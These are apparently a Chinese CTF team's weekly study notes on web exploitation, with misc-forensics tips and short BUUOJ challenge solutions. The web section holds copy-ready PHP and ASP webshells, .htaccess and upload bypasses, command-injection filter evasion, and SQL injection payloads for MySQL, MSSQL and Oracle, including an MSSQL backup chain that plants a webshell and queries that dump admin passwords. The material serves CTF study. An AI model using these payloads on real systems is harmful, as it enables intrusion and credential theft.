F组第五周笔记汇总

Web

文件上传

一句话密码

<?php eval($_POST[1]); ?>
GIF89a
<script language="php">@eval($_POST[1])</script>

1.上传文件用php提示错误,然后用各种尝试,TXT,phtml……都可以

2.一句话木马,用<? 提示 file include’<?’ 所以选用不包含的一句话木马

htaccess

有很多文件后缀在黑名单内,PHP,PHP3,PHP4,phtml等都不能绕过。

中间件是 .htaccess

可以指定他让什么格式的文件解析成php文件,然后再上传

先上传一个 .htaccess文件 加上以下代码

SetHandler application/x-httpd-php

再上传jpg文件,就会因为htaccess而改成PHP文件,就能获取shell

条件竞争

检测的后缀不符合就会把其删除,所以我们要在删除之前就把该文件储存到本地,所以要在php文件里面输入一串语句,使其执行后直接保存。

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

如此,便会在本地储存一个 xiao.php 文件,就可以连接蚁剑了。

GET语句如下

<?php $content='<?php system($_GET["1"]);?>';file_put_contents('1.php',$content);

目录查询

mb_strpos($_page, '?',?")

网址存在过滤问号,要把?进行URL(或其他)编码,再进行。

/ 根目录。

./ 当前目录。

../ 父级目录。

../多加几个都无所谓,但不能少加,

?%3f../../../../../flag

如上,一个../目录没找到,就往下一级再找,找到了为止。

文件包含

做一道文件包含题,file=flag.php输出了文件,输不出文件源码,所以要用以下代码,使其用base64输出,就可以绕过不输出php文件而输出源码。

php://filter/read=convert.base64-encode/resource=xxx.php

获得base64的源码后再解码就行了。

ping

用;或者|来隔开,本来只能输入一个,用这个就能输入好几个语句。

首先先查看目录,win是dir Linux是ls

接下来用cat来获取,发现有过滤空格。

过滤空格的办法
$IFS
${IFS}
$IFS$1 //$1改成$加其他数字貌似都行
< 
<> 
{cat,flag.php}  //用逗号实现了空格功能
%20 //url
%09

然后再尝试cat falg

发现又过滤了flag。

过滤flag的方法
1.cat fl* 利用*匹配任意 不行
2.echo “Y2F0IGZsYWcucGhw”| base64 -d | bash 也不行
3.ca\t fl\ag.php 不行
4.cat fl’'ag.php 不行
5.a=g;fla$a //可以

move_uploaded_file()漏洞

上传文件名字输入为 1.php/. 上传文件为1.jpg

因为会忽略/.所以上传的文件1.php/.1.jpg就变成了1.php,就可以绕过上传了

SQL注入

1.提示语句有误,而提示的语句只有一半,前面的被忽略,是过滤了一些单词,如 information select from 等,所以要用别的方法略过。

比如

ununionion selselectect 1,(selselectect group_concat(table_name) frofromm infoorrmation_schema.tables whwhereere table_schema=database()),3

这里多了个group被(select)嵌套,因为直接输入不成功,要这样跳过一下。

堆叠注入

1.堆叠用;并且记住一定要在末尾加上#不然会报错。

2.语法要用对,是 show databases;不是show database();

3.检查表内容是用desc

4.这里题目找到了数据表内容,并且推测出该提交的查询语句是selsect id,data from words where id =

5.就可以用数据库语法改名,使words改成words1,储存flag的改成words,把字段名flag改成id,但是记住表名和字段名更改是不一样的**

rename table'旧' to '新'

ALTER TABLE 表名 CHANGE 旧字段名 新字段名 新数据类型;

6.然后就可以再执行第一次的语句 1’ or 1=1#

ps:有些要用反单引号框起来,不然不能执行(可能是属性问题)``(先英文,再数字1左边那个键)

sqlserver 注入

sqlserver在语句执行错误的时候 会报错 并且会在网页上显示出来。

环境 sql2008+aspx

显示系统信息

and @@version>0 利用mssql在转换类型的时候就出错时 会显示系统信息。

?id=1 and @@version>0

爆出数据库

?id=-1 and db_name()>0

当前用户 dbo

?id=-1 and User_Name()>0

爆出其他数据库

?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases)>0
?id=-1 and (SELECT top 1 Name FROM Master..SysDatabases where name not in ('master','iNethinkCMS','model','msdb'))>0

爆表

?id=-1 and (select top 1 name from [mydb].sys.all_objects where type='U' AND is_ms_shipped=0)>0
?id=-1 and (select top 1 name from mydb.sys.all_objects where type='U' AND is_ms_shipped=0 and name not in ('admin'))>0

爆出列

?id=1 and (select top 1 COLUMN_NAME from mydb.information_schema.columns where TABLE_NAME='admin' and COLUMN_NAME not in('ID'))>0

爆出数据

?id=1 and (select top 1 password from admin)>0

查询当前用户

?id=1 and user_name()>1

2.根据当前用户爆出所有表

?id=1 and(select TABLE_NAME from information_schema.TABLES  where TABLE_SCHEMA='dbo' FOR XML PATH)>1

3.爆出所有的列

?id=1 and(select COLUMN_NAME from information_schema.COLUMNS where TABLE_NAME='admin' FOR XML PATH)>1

4.爆出数据

?id=1 and ( select username,password from admin FOR XML PATH)>1

sqlserver备份拿WEBSHELL

<%execute(request(“a”))%>

差异备份 经常会出错的 不稳定

log备份一句话

;drop table test_tmp //删除表

;create table test_tmp (a image); //创建表

;backup log mydb to disk ='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init; //备份数据库

;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA) //把一句话木马写进创建表里,用十六进制

;backup log mydb to disk = 'C:/inetpub/wwwroot/www.demo1.com/123.asp' //再备份

;drop table test_tmp //删除表
?id=1;IF EXISTS(select table_name from information_schema.tables where table_name='test_tmp')drop table test_tmp;create table test_tmp (a image);backup log mydb to disk ='C:/inetpub/wwwroot/www.demo1.com/asp.bak' with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = 'C:/inetpub/wwwroot/www.demo1.com/123.asp'

select * from art where id=1;IF EXISTS(select table_name from information_schema.tables where table_name=’test_tmp’)drop table test_tmp;create table test_tmp (a image);backup log mydb to disk =’C:/inetpub/wwwroot/www.demo1.com/asp.bak’ with init;insert into test_tmp (a) values (0x3C25657865637574652872657175657374282261222929253EDA);backup log mydb to disk = ‘C:/inetpub/wwwroot/www.demo1.com/123.asp’

oracle

oracle +jsp联合查询注入

oracle 版本信息

?username=SMITH’ union select null,null,(select banner from sys.v_$version where rownum=1),null,null,null,null,null from dual –

1 当前用户权限 (select * from session_roles)

2 当前数据库版本 ( select banner from sys.v_$version where rownum=1)

3 服务器出口IP (用utl_http.request 可以实现)

4 服务器监听IP (select utl_inaddr.get_host_address from dual)

5 服务器操作系统 (select member from v$logfile where rownum=1)

6 服务器sid (select instance_name from v$instance)

7 当前连接用户 (select SYS_CONTEXT (‘USERENV’, ‘CURRENT_USER’) from dual)

6当前用户 (SELECT user FROM dual)

6、查询库名

?username=99%27 union select null,null,(select owner from all_tables where rownum=1),null,null,null,null,null from dual -- 

?username=99%27 union select null,null,(select owner from all_tables where rownum=1 and owner <>'SYS' ),null,null,null,null,null from dual --

7、查询表

表 一定要是大写的

//查询第一个表
?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1),null,null,null,null,null from dual  -- 
//查询第二个表
?username=SMITH' union select null,null,(select table_name from user_tables where rownum=1 and table_name<>'ADMIN'),null,null,null,null,null from dual --

8、查询列

//查询表ADMIN第一个列

?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and rownum=1),null,null,null,null,null,null from dual -- 
//第二个列
?username=SMITH' union select null,(select column_name from user_tab_columns where table_name='ADMIN' and column_name<>'ID' and rownum=1),null,null,null,null,null,null from dual --

9、查询数据

?username=SMITH' union select null,(SELECT CONCAT(USERNAME,PASSWORD) FROM ADMIN),null,null,null,null,null,null from dual --

10、扩展

当前用户:

  SELECT user FROM dual;

列出所有用户:

  SELECT username FROM all_users ORDER BY username;

列出数据库

  SELECT DISTINCT owner FROM all_tables;

列出表名:

  SELECT table_name FROM all_tables;

  SELECT owner, table_name FROM all_tables;

查询表所有列

    SELECT column_name FROM all_tab_columns WHERE TABLE_NAME='ADMIN';

定位文件

    SELECT name FROM V$DATAFILE;

oracle 报错注入

0x1 utl_inaddr.get_host_name()

?id=1 and 1=utl_inaddr.get_host_name((select user from dual))--

0x2 ctxsys.drithsx.sn()

?id=1 and 1=ctxsys.drithsx.sn(1,(select user from dual))--

0x3 XMLType()

?id=1 and (select upper(XMLType(chr(60)%7c%7cchr(58)%7c%7c(select user from dual)%7c%7cchr(62))) from dual) is not null --

0x4 dbms_xdb_version.checkin()

?id=1 and (select dbms_xdb_version.checkin((select user from dual)) from dual) is not null --

查询版本信息

?id=1 and (select dbms_xdb_version.checkin((select banner from sys.v_$version where rownum=1)) from dual) is not null --

0x5 bms_xdb_version.makeversioned()

?id=1 and (select dbms_xdb_version.makeversioned((select user from dual)) from dual) is not null --

0x6 dbms_xdb_version.uncheckout()

?id=1 and (select dbms_xdb_version.uncheckout((select user from dual)) from dual) is not null --

0x7 dbms_utility.sqlid_to_sqlhash()

?id=1 and (SELECT dbms_utility.sqlid_to_sqlhash((select user from dual)) from dual) is not null --

0x8 ordsys.ord_dicom.getmappingxpath()

?id=1 and 1=ordsys.ord_dicom.getmappingxpath((select user from dual),user,user)--

0x10报错admin表的 用户和密码

?id=1 and 1=utl_inaddr.get_host_name((select (select username%7c%7cpassword from admin)from dual))--

Misc

图片属性可能会藏东西

https://www.bilibili.com/video/BV1LL41137yU?from=search&seid=2853602544067891083&spm_id_from=333.337.0.0

思路解析:

看到一个没有提示的图片应该首先猜是否可以偏移,其次寻找图片可能存在的隐写方式
图片中可能存在压缩包可以使用winwalk进行抛离

zip文件结构:伪加密

AZPR的使用:爆破/明文

拿到一个文件:binwalk foremost CTRL+F string(linux)

无后缀的文件 文件头/linux的file命令先确定文件类型

ZIP加密:注释/CTRL+F/伪加密/弱密码/CRC32/明文/爆破

DOCX:背景色字体/隐藏文字/改成zip后缀后解压

PNG:tweakpng=->长宽?stegsolve?lsb/双图

jpg:stegdetect

工具类

stegsolve使用方法https://www.cnblogs.com/cat47/p/11483478.html
binwalk工具的详细使用说明https://blog.csdn.net/wxh0000mm/article/details/8568366

pcap文件详解https://blog.csdn.net/ytx2014214081/article/details/80112277

pcap文件是常用的数据报存储格式,需要使用wireshark进行查看
使用了wireshark追踪流

lsb隐写可运用stegsolve工具

fcrackzip

fcrackzip -b -c1 -l 4 -u 文件名

c后面那个是数字1,在后面那个是字母l ,看起来有点像

kali命令

strings查找可打印字符

grep -a “想要查找的” 文件名 正则表达式搜索搜索,并输出匹配结果

file识别文件类型
binwalk分离文件 binwalk 文件名

foremost提取文件 foremost,文件名

dd if=binwalk,formost,文件名 of=输出文件名 bs=一次分离的个数 skip=从哪里开始分离 //bs每次读取一个块,skip从哪里开始读取(先用binwalk分析)(dd可只分离一个)

文件头

JPEG (jpg),文件头:FFD8FFE1
PNG (png),文件头:89504E47
GIF (gif),文件头:47494638
TIFF (tif),文件头:49492A00
Windows Bitmap (bmp),文件头:424DC001
CAD (dwg),文件头:41433130
Adobe Photoshop (psd),文件头:38425053
Rich Text Format (rtf),文件头:7B5C727466
XML (xml),文件头:3C3F786D6C
HTML (html),文件头:68746D6C3E
Email [thorough only] (eml),文件头:44656C69766572792D646174653A
Outlook Express (dbx),文件头:CFAD12FEC5FD746F
Outlook (pst),文件头:2142444E
MS Word/Excel (xls.or.doc),文件头:D0CF11E0
MS Access (mdb),文件头:5374616E64617264204A
WordPerfect (wpd),文件头:FF575043
Adobe Acrobat (pdf),文件头:255044462D312E
Quicken (qdf),文件头:AC9EBD8F
Windows Password (pwl),文件头:E3828596
ZIP Archive (zip),文件头:504B0304
RAR Archive (rar),文件头:52617221
Wave (wav),文件头:57415645
AVI (avi),文件头:41564920
Real Audio (ram),文件头:2E7261FD
Real Media (rm),文件头:2E524D46
MPEG (mpg),文件头:000001BA
MPEG (mpg),文件头:000001B3
Quicktime (mov),文件头:6D6F6F76
Windows Media (asf),文件头:3026B2758E66CF11

数据编码

Morse解密,base解密,进制转换等都可以用百度在线解码器

shellcode //十六进制机器码 \x

urlencode(百分号编码) // 前面加%

unicode(万国码) // \u十六进制 &#x十六进制

aaencode//颜文字组成

jjencode //$符多

uuencode

jsfuck // 由!+组成

brainfuck// 由+-<>[]组成

ook// 由ook组成

short ook // 由!?.组成

敲击码 //用5X5的方格

二维码:Data matrix,Maxi Code,Aztec Code,QR Code,Vericode,PDF417,Ultracode,Code 49,Code 16K等

        二维码补全工具:QRazyBox

社会主义核心价值观 // 由社会主义核心价值观组成

与佛论禅 // 佛曰:

与熊论道 // 熊曰:

伪加密

0900为真加密,0000为伪加密

wireshark

http and http.request.url contains “index.html”

arp将物理地址转为网络地址的协议

BUU

BUUOJ基础破解

下载压缩包后需要密码打开 使用工具进行暴力破解后进入,将内容进行base64解码得到flag

BUUOJ乌镇峰会种图

下载图片后使用notepad++打开 flag在最后

BUUoj文件中的秘密

下载图片后右键属性 flag就在详细信息中

buuojLSB

使用stegsolve将图片save bin为二维码后用QR扫描得到flag

BUUOJ二维码

使用QR扫描显示secret is here

再使用kali的winwalk工具查看文件发现有.Zip压缩包在使用-e将文件分离出来,分离出来后得到一个压缩包需要密码 使用Ziperello进行暴力破解得到flag

BUUOJ你竟然赶我走

下载文件后使用notepad++打开后使用Ctrl+f查找flag就发现了flag

BUUOJN种方法解决

先使用winhex将文件编码复制到base64解码工具后判断为png格式将文件改为png格式后出现一个一个url 在浏览器打开后得到一个二维码,再使用QR扫描得到flag

BUUOJ假如给我三天光明

打开文件夹中的图片发现下面有一串盲文 翻译后得到另一个压缩包的密码 打开压缩包是一个摩斯密码通过翻译得到flag

BUUOJ小明的保险箱

使用binwalk工具扫描发现一个rar文件将文件分离出来,打开后需要密码,使用工具进行暴力破解后得到flag

BUUOJningen

使用winwalk工具发现一个zip文件分离出来,然后使用ziperello进行暴力破解得到flag

BUUOJ爱因斯坦

先查看图片属性,备注中有信息,然后使用winwalk工具发现一个zip文件分离出来,然后使用ziperello进行暴力破解失败,然后尝试文件中的备注成功得到flag

BUUOJeasycap

下载后是一个pcap 使用wireshark打开后追踪数据流得到flag

隐藏的钥匙

使用notepad==打开后查找flag 发现

flag:base64:(Mzc3Y2JhZGRhMWVjYTJmMmY3M2QzNjI3Nzc4MWYwMGE=)

进行base64解码后得到flag

神秘龙卷风

使用ARCHPR进行暴力破解后打开是一串brainfuck代码解码后得到flag

解码网站http://bf.doleczek.pl/

wireshark

使用wireshark打开后追踪TCP流 中发现flag

答案为过滤post请求

http.request.method==POST

被嗅探的流量

使用wireshark打开后搜索http发现一个jpeg 打开后搜索flag发现答案

zip伪加密

使用暴力破解不出密码 看题目是zip未加密 用hex打开将09 00 改成00 00 就可以打开文档得到flag

https://blog.csdn.net/mochu7777777/article/details/108483175

另外一个世界

使用hex打开发现最后一串2进制数将其转化成ASCII码后得到flag

相关推荐

发表评论

路人甲

网友评论(0)